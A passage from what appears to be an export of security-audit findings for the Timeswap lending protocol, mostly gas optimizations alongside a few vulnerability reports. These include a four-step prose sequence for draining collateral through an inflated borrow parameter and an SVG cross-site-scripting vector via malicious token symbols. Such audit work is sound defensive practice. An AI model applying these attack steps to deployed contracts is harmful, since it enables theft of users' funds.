storage pool = pools[maturity]; require(pool.state.totalLiquidity > 0, 'E206'); BorrowMath.check(pool.state, xDecrease, yIncrease, zIncrease, fee); dueOut.debt = BorrowMath.getDebt(maturity, xDecrease, yIncrease); dueOut.collateral = BorrowMath.getCollateral(maturity, pool.state, xDecrease, zIncrease); dueOut.startBlock = BlockNumber.get(); Callback.borrow(collateral, dueOut.collateral, data); id = pool.dues[dueTo].insert(dueOut); pool.state.reserves.asset -= xDecrease; pool.state.reserves.collateral += dueOut.collateral; pool.state.totalDebtCreated += dueOut.debt; pool.state.x -= xDecrease; pool.state.y += yIncrease; pool.state.z += zIncrease; asset.safeTransfer(assetTo, xDecrease); emit Sync(maturity, pool.state.x, pool.state.y, pool.state.z); emit Borrow(maturity, msg.sender, assetTo, dueTo, xDecrease, id, dueOut); } ``` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/BorrowMath.sol#L62-L79 ```solidity function getCollateral( uint256 maturity, IPair.State memory state, uint112 xDecrease, uint112 zIncrease ) internal view returns (uint112 collateralIn) { uint256 _collateralIn = maturity; _collateralIn -= block.timestamp; _collateralIn *= zIncrease; _collateralIn = _collateralIn.shiftRightUp(25); uint256 minimum = state.z; minimum *= xDecrease; uint256 denominator = state.x; denominator -= xDecrease; minimum = minimum.divUp(denominator); _collateralIn += minimum; collateralIn = _collateralIn.toUint112(); } ``` ## PoC Near the maturity time, the attacker can do the following: 1. `borrow()` a dust amount of assets (`xDecrease` = 1 wei) and increase `pool.state.z` to an extremely large value (20x of previous `state.z` in our tests); 2. `pay()` the loan and get back the collateral; 3. `lend()` a regular amount of `state.x`, get a large amount of insurance token; 4. `burn()` the insurance token and get a large portion of the collateral assets from the defaulted loans. ## Recommendation Consider making `pair.borrow()` to be `onlyConvenience`, so that `zIncrease` will be a computed value (based on `xDecrease` and current state) rather than a user input value. "}, {"title": "Remove unnecessary variables can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/DateTime.sol#L127-L134 ```solidity function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } ``` The local variable `daysInMonth` is used only once. Making the expression inline can save gas. ### Recommendation Change to: ```solidity function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { if (day > 0 && day <= _getDaysInMonth(year, month)) { valid = true; } } } ``` Other examples include: https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/Burn.sol#L76-L77 ```solidity IPair pair = factory.getPair(params.asset, params.collateral); require(address(pair) != address(0), 'E501'); ``` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/TimeswapConvenience.sol#L556-L558 ```solidity IDue collateralizedDebt = natives[asset][collateral][maturity].collateralizedDebt; require(msg.sender == address(collateralizedDebt), 'E701'); ``` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/Callback.sol#L62-L63 ```solidity uint256 _assetReserve = asset.safeBalance(); require(_assetReserve >= assetReserve + assetIn, 'E304'); ``` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/libraries/Callback.sol#L51-L52 ```solidity uint256 _collateralReserve = collateral.safeBalance(); require(_collateralReserve >= collateralReserve + collateralIn, 'E305'); ``` "}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/159", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Unused imports"}, {"title": "`NFTTokenURIScaffold.sol#_isLtoStringTrimmedeapYear()` Check of `flag == 0` can be done earlier", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/157", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details `flag == 0` is cheaper than `temp % 10 == 0`. Therefore, checking `flag == 0 `first can save some gas. https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/NFTTokenURIScaffold.sol#L162-L162 ```solidity if (temp % 10 == 0 && flag == 0) ``` ### Recommendation Change to: ```solidity if (flag == 0 && temp % 10 == 0) ``` Other instances include: https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/NFTTokenURIScaffold.sol#L180-L180 ```solidity else if (value % 10 != 0 && flag == 0) ``` "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`TimeswapPair.sol#mint()` Avoiding unnecessary code execution using checks can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/155", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details Move storage writes to inside the code block of `if (tokensOut.asset > 0) {...}` can avoid unnecessary code execution when this check doesn't pass and save gas. https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L214-L218 ```solidity pool.state.reserves.asset -= tokensOut.asset; pool.state.reserves.collateral -= tokensOut.collateral; if (tokensOut.asset > 0) asset.safeTransfer(assetTo, tokensOut.asset); if (tokensOut.collateral > 0) collateral.safeTransfer(collateralTo, tokensOut.collateral); ``` ### Recommendation Change to: ```solidity if (tokensOut.asset > 0) { pool.state.reserves.asset -= tokensOut.asset; asset.safeTransfer(assetTo, tokensOut.asset); } if (tokensOut.collateral > 0) { pool.state.reserves.collateral -= tokensOut.collateral; collateral.safeTransfer(collateralTo, tokensOut.collateral); } ``` "}, {"title": "`TimeswapPair.sol#mint()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L157-L169 ```solidity=157 if (pool.state.totalLiquidity == 0) { uint256 liquidityTotal = MintMath.getLiquidityTotal(xIncrease); liquidityOut = MintMath.getLiquidity(maturity, liquidityTotal, protocolFee); pool.state.totalLiquidity += liquidityTotal; pool.liquidities[factory.owner()] += liquidityTotal - liquidityOut; } else { uint256 liquidityTotal = MintMath.getLiquidityTotal(pool.state, xIncrease, yIncrease, zIncrease); liquidityOut = MintMath.getLiquidity(maturity, liquidityTotal, protocolFee); pool.state.totalLiquidity += liquidityTotal; pool.liquidities[factory.owner()] += liquidityTotal - liquidityOut; } ``` ### Recommendation Change to: ```solidity=157 uint256 liquidityTotal = pool.state.totalLiquidity == 0 ? MintMath.getLiquidityTotal(xIncrease) : MintMath.getLiquidityTotal(pool.state, xIncrease, yIncrease, zIncrease); liquidityOut = MintMath.getLiquidity(maturity, liquidityTotal, protocolFee); pool.state.totalLiquidity += liquidityTotal; pool.liquidities[factory.owner()] += liquidityTotal - liquidityOut; ``` 1. Avoiding code duplication; 2. Using the ternary operator to make the code shorter. "}, {"title": "Avoid unnecessary storage read can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/153", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Avoid unnecessary storage read can save gas"}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Cache array length in for loops can save gas"}, {"title": "no contract check in function createPair ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/145", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "no contract check in function createPair "}, {"title": "can reduce gas in function createPair by replacing interface with address", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "can reduce gas in function createPair by replacing interface with address"}, {"title": "Gas Optimization: Cache result of `BlockNumber.get()`", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/142", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-timeswap-findings", "body": "Gas Optimization: Cache result of `BlockNumber.get()`"}, {"title": "using storage instead of memory to declare struct variable inside the function", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle rfa # Vulnerability details ## Impact more expensive gas ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L58 instead of caching state on memory. just read it directly from the storage. State memory state = pools[maturity].state; ## Tools Used self research on: https://remix.ethereum.org/ ## Recommended Mitigation Steps State storage state = pools[maturity].state; "}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/138", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Open TODOs"}, {"title": "Missing input validation on array lengths (PayMath.sol)", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/137", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact The function below fails to perform input validation on arrays to verify the lengths match. A mismatch could lead to an exception or undefined behavior. ## Proof of Concept `ids`, `assetsIn` (copied into from `maxAssetsIn` on line 18) https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/PayMath.sol#L15-L28 While `givenMaxAssetsIn` is an internal function if you trace the code back the parameters are passed in by an external function (`pay` or `payEthAsset` or `payEthCollateral`) with no array length validation. ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Add input validation to check that the length of all arrays match (`ids`, `maxAssetsIn`). "}, {"title": "Use assignment not += in function mint (TimeswapPair.sol)", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/136", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Use assignment not += in function mint (TimeswapPair.sol)"}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/135", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Typos"}, {"title": "Outdated OpenZeppelin dependency", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/132", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-timeswap-findings", "body": "Outdated OpenZeppelin dependency"}, {"title": "XSS via SVG Construction contract", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/131", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle thank_you # Vulnerability details ## Impact SVG is a unique type of image file format that is often susceptible to Cross-site scripting. If a malicious user is able to inject malicious Javascript into a SVG file, then any user who views the SVG on a website will be susceptible to XSS. This can lead stolen cookies, Denial of Service attacks, and more. The `NFTTokenURIScaffold` contract generates a SVG via the `NFTSVG.constructSVG` function. One of the arguments used by the `NFTSVG.constructSVG` function is `svgTitle` which represents the ERC20 symbols of both the asset and collateral ERC20 tokens. When generating an ERC20 contract, a malicious user can set malicious XSS as the ERC20 symbol. These set of circumstances leads to XSS when the SVG is loaded on any website. ## Proof of Concept 1. Hacker generates an ERC20 token with a symbol that contains malicious Javascript. 2. Hacker generates a TimeSwap Pair with an asset or collateral that matches the malicious ERC20 token created in Step 1. 3. When `NFTTokenURIScaffold#constructTokenURI` is called, a SVG is generated. This process works such that when generating the SVG the tainted ERC20 symbol created in Step 1 is [passed](https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/libraries/NFTTokenURIScaffold.sol#L90) to the `NFTSVG.constructSVG` function [here](https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/libraries/NFTTokenURIScaffold.sol#L102). This function returns a SVG [containing](https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/libraries/NFTSVG.sol#L27) the tainted ERC20 symbol. 4. When the SVG is loaded on any site such as OpenSea, any user viewing that SVG will load the malicious Javascript from within the SVG and result in a XSS attack. ## Tools Used N/A ## Recommended Mitigation Steps Creating a SVG file inside of a Solidity contract is novel and thus requires the entity creating a SVG file to sanitize any potential user-input that goes into generating the SVG file. As of this time there are no known Solidity libraries that sanitize text to prevent an XSS attack. The easiest solution is to remove all user-input data from the SVG file or not generate the SVG at all. "}, {"title": "Gas: Break out of loop to save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/130", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-timeswap-findings", "body": "Gas: Break out of loop to save gas"}, {"title": "messing with the dues ids for victim user ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/129", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "messing with the dues ids for victim user "}, {"title": "calculate a condition before the loop instead of calculating it in every iteration", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "calculate a condition before the loop instead of calculating it in every iteration"}, {"title": "subtract values in the if statement to avoid a useless operation", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle OriDabush # Vulnerability details # TimeswapPair.sol - Gas Optimization Lines 289-290 can be transferred into the if statements to avoid subtract 0 from the variables. ### code before: pool.state.reserves.asset -= tokensOut.asset; pool.state.reserves.collateral -= tokensOut.collateral; if (tokensOut.asset > 0) asset.safeTransfer(assetTo, tokensOut.asset); if (tokensOut.collateral > 0) collateral.safeTransfer(collateralTo, tokensOut.collateral); ### code after: if (tokensOut.asset > 0) { asset.safeTransfer(assetTo, tokensOut.asset); pool.state.reserves.asset -= tokensOut.asset; } if (tokensOut.collateral > 0) { collateral.safeTransfer(collateralTo, tokensOut.collateral); pool.state.reserves.collateral -= tokensOut.collateral; } "}, {"title": "Gas: No need to initialize variables with default values", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/120", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Gas: No need to initialize variables with default values"}, {"title": "frontrun Temporary Dos attack", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/119", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "frontrun Temporary Dos attack"}, {"title": "`safeSymbol()` can revert causing DoS", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/114", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `safeSymbol()` function, found in the SafeMetadata.sol contract and called in 4 Timeswap Convenience contracts in the `symbol()` functions, can cause a revert. This could make the 4 contracts not compliant with the ERC20 standard for certain asset pairs, because the `symbol()` function should return a string and not revert. The root cause of the issue is that the `safeSymbol()` function assumes the return type of any ERC20 token to be a string. If the return value is not a string, abi.decode() will revert, and this will cause the `symbol()` functions in the Timeswap ERC20 contracts to revert. Because this is known to cause issues with tokens that don't fully follow the ERC20 spec, the `safeSymbol()` function in the BoringCrypto library has a fix for this. The BoringCrypto `safeSymbol()` function is similar to the one in Timeswap but it has a `returnDataToString()` function that handles the case of a bytes32 return value for a token name: https://github.com/boringcrypto/BoringSolidity/blob/ccb743d4c3363ca37491b87c6c9b24b1f5fa25dc/contracts/libraries/BoringERC20.sol#L15-L39 ## Proof of Concept The root cause is [line 20](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/SafeMetadata.sol#L20) of the `safeSymbol()` function in SafeMetadata.sol The `safeSymbol()` function is called in: - [Bond.sol](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/Bond.sol#L27-L31) - [CollateralizedDebt.sol](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/CollateralizedDebt.sol#L38-L42) - [Insurance.sol](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/Insurance.sol#L29-L33) - [Liquidity.sol](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/Liquidity.sol#L31-L35) ## Recommended Mitigation Steps Use the BoringCrypto `safeSymbol()` function code with the `returnDataToString()` parsing function to handle the case of a bytes32 return value: https://github.com/boringcrypto/BoringSolidity/blob/ccb743d4c3363ca37491b87c6c9b24b1f5fa25dc/contracts/libraries/BoringERC20.sol#L15-L39 "}, {"title": "`safeName()` can revert causing DoS", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/113", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `safeName()` function, found in the SafeMetadata.sol contract and called in 4 Timeswap Convenience contracts in the `name()` functions, can cause a revert. This could make the 4 contracts not compliant with the ERC20 standard for certain asset pairs, because the `name()` function should return a string and not revert. The root cause of the issue is that the `safeName()` function assumes the return type of any ERC20 token to be a string. If the return value is not a string, abi.decode() will revert, and this will cause the `name()` functions in the Timeswap ERC20 contracts to revert. There are some tokens that aren't compliant, such as Sai from Maker, which returns a bytes32 value: https://kauri.io/#single/dai-token-guide-for-developers/#token-info Because this is known to cause issues with tokens that don't fully follow the ERC20 spec, the `safeName()` function in the BoringCrypto library has a fix for this. The BoringCrypto `safeName()` function is similar to the one in Timeswap but it has a `returnDataToString()` function that handles the case of a bytes32 return value for a token name: https://github.com/boringcrypto/BoringSolidity/blob/ccb743d4c3363ca37491b87c6c9b24b1f5fa25dc/contracts/libraries/BoringERC20.sol#L15-L47 ## Proof of Concept The root cause is [line 12](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/SafeMetadata.sol#L12) of the `safeName()` function in SafeMetadata.sol The `safeName()` function is called in: - [Bond.sol](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/Bond.sol#L20-L25) - [CollateralizedDebt.sol](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/CollateralizedDebt.sol#L22-L36) - [Insurance.sol](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/Insurance.sol#L20-L27) - [Liquidity.sol](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/Liquidity.sol#L22-L29) ## Recommended Mitigation Steps Use the BoringCrypto `safeName()` function code to handle the case of a bytes32 return value: https://github.com/boringcrypto/BoringSolidity/blob/ccb743d4c3363ca37491b87c6c9b24b1f5fa25dc/contracts/libraries/BoringERC20.sol#L15-L47 "}, {"title": "safeDecimals can revert causing DoS", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/112", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `safeDecimals()` function, found in the SafeMetadata.sol contract and called in 3 different Timeswap Convenience contracts, can cause a revert. This is because the safeDecimals function attempts to use abi.decode to return a uint8 when `data.length >= 32`. However, a data.length value greater than 32 will cause abi.decode to revert. A similar issue was found in a previoud code4rena contest: https://github.com/code-423n4/2021-05-nftx-findings/issues/46 ## Proof of Concept The root cause is [line 28](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/SafeMetadata.sol#L28) of the `safeDecimals()` function in SafeMetadata.sol The following link shows the `safeDecimals()` function in the BoringCrypto library, which might be where this code was borrowed from, uses the strict equality check `data.length == 32` https://github.com/boringcrypto/BoringSolidity/blob/ccb743d4c3363ca37491b87c6c9b24b1f5fa25dc/contracts/libraries/BoringERC20.sol#L54 `safeDecimals()` is used in multiple functions such as - CollateralizedDebt.sol [line 50](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/CollateralizedDebt.sol#L50) and [line 54](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/CollateralizedDebt.sol#L54) - Bond.sol [line 34](https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/Bond.sol#L34) - Insurance.sol [line 36](https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/Insurance.sol#L36) ## Recommended Mitigation Steps Modify the `safeDecimals()` function to change >= 32 to == 32 like this `if (success && data.length == 32) return abi.decode(data, (uint8));` "}, {"title": "`burn()` doesn't call ERC721 `_burn()`", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/111", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "`burn()` doesn't call ERC721 `_burn()`"}, {"title": "Remove salt from createPair()", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/109", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Remove salt from createPair()"}, {"title": "Incorrect Q in comment", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Incorrect Q in comment"}, {"title": "Caching weth in timeswapMintCallback can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact In `TimeswapConvenience.sol` the `weth` state variable is read twice. It can just be immediately assigned locally so that the two `deposit` calls avoid reading the same variable from storage ## Proof of Concept - [https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/TimeswapConvenience.sol#L505](https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/TimeswapConvenience.sol#L505) - [https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/TimeswapConvenience.sol#L512](https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/TimeswapConvenience.sol#L512) ## Tools Used Editor ## Recommended Mitigation Steps Assign `weth` to `localWeth` "}, {"title": "Caching pair in timeswapPayCallback can save gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/106", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact In `CollateralizedDebt.sol` the `pair` state variable is read twice. It can just be immediately assigned locally so that the `require` and the `collateralizedDebtCallback` do not read the same state variable twice ## Proof of Concept ```jsx function timeswapPayCallback(uint128 assetIn, bytes calldata data) external override { require(msg.sender == address(pair), 'E401'); convenience.collateralizedDebtCallback(pair, maturity, assetIn, data); } ``` ## Tools Used Editor ## Recommended Mitigation Steps Assign `pair` to e.g `localPair` "}, {"title": "Constructor Does Not Check for Zero Addresses for _factory and _weth", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact A wrong user input or wallets defaulting to the zero addresses for a missing input can lead to the contract needing to redeploy or wasted gas. ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/TimeswapConvenience.sol#L62-L64 ## Tools Used Manual Review ## Recommended Mitigation Steps requires Addresses is not zero. require(_factory != address(0), \"Address Can't Be Zero\") require(_weth != address(0), \"Address Can't Be Zero\") "}, {"title": "Less than 256 uints are not gas efficient", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Less than 256 uints are not gas efficient"}, {"title": "WETH9 example uses payable.transfer", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/98", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "WETH9 example uses payable.transfer"}, {"title": "TimeswapPair.pay doesn't check for non-existent debt owner", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/97", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle hyh # Vulnerability details ## Impact Similarly, the system will fail with low-level message without giving a business reason, which can be an issue for troubleshooting and further programmatic usages by other projects. ## Proof of Concept The owner variable is used by TimeswapPair.pay without validation: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L357 Which will yield low-level fail on array access if an owner is zero or not present in the system: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L360 ## Recommended Mitigation Steps Verify owner function argument to be non-zero by expanding existing check: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L352 Then, require in line 358 that, for example, dues.length >= ids.length: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L358 "}, {"title": "Borrowing of the whole asset supply can yield a low-level division revert", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/96", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Borrowing of the whole asset supply can yield a low-level division revert"}, {"title": "WithdrawMath.getCollateral reads storage repetitively for the same state variables that don\u2019t change", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on state variables storage access. ## Proof of Concept getCollateral only reads state.reserves.asset, state.totalClaims.insurance and state.reserves.collateral up to 2 times each, and state.totalClaims.bond up to 4 times: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/libraries/WithdrawMath.sol#L26 ## Recommended Mitigation Steps Save all four state variables to memory before running the logic. "}, {"title": "TimeswapPair's burn miss current pool liquidity check", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/94", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle hyh # Vulnerability details ## Impact If there is no liquidity in the pool, burn operation will not make sense and be reverted on low level math of decreasing liquidity share. It will be more transparent and uniform to add a check for liquidity before the logic. ## Proof of Concept ` burn` doesn't check 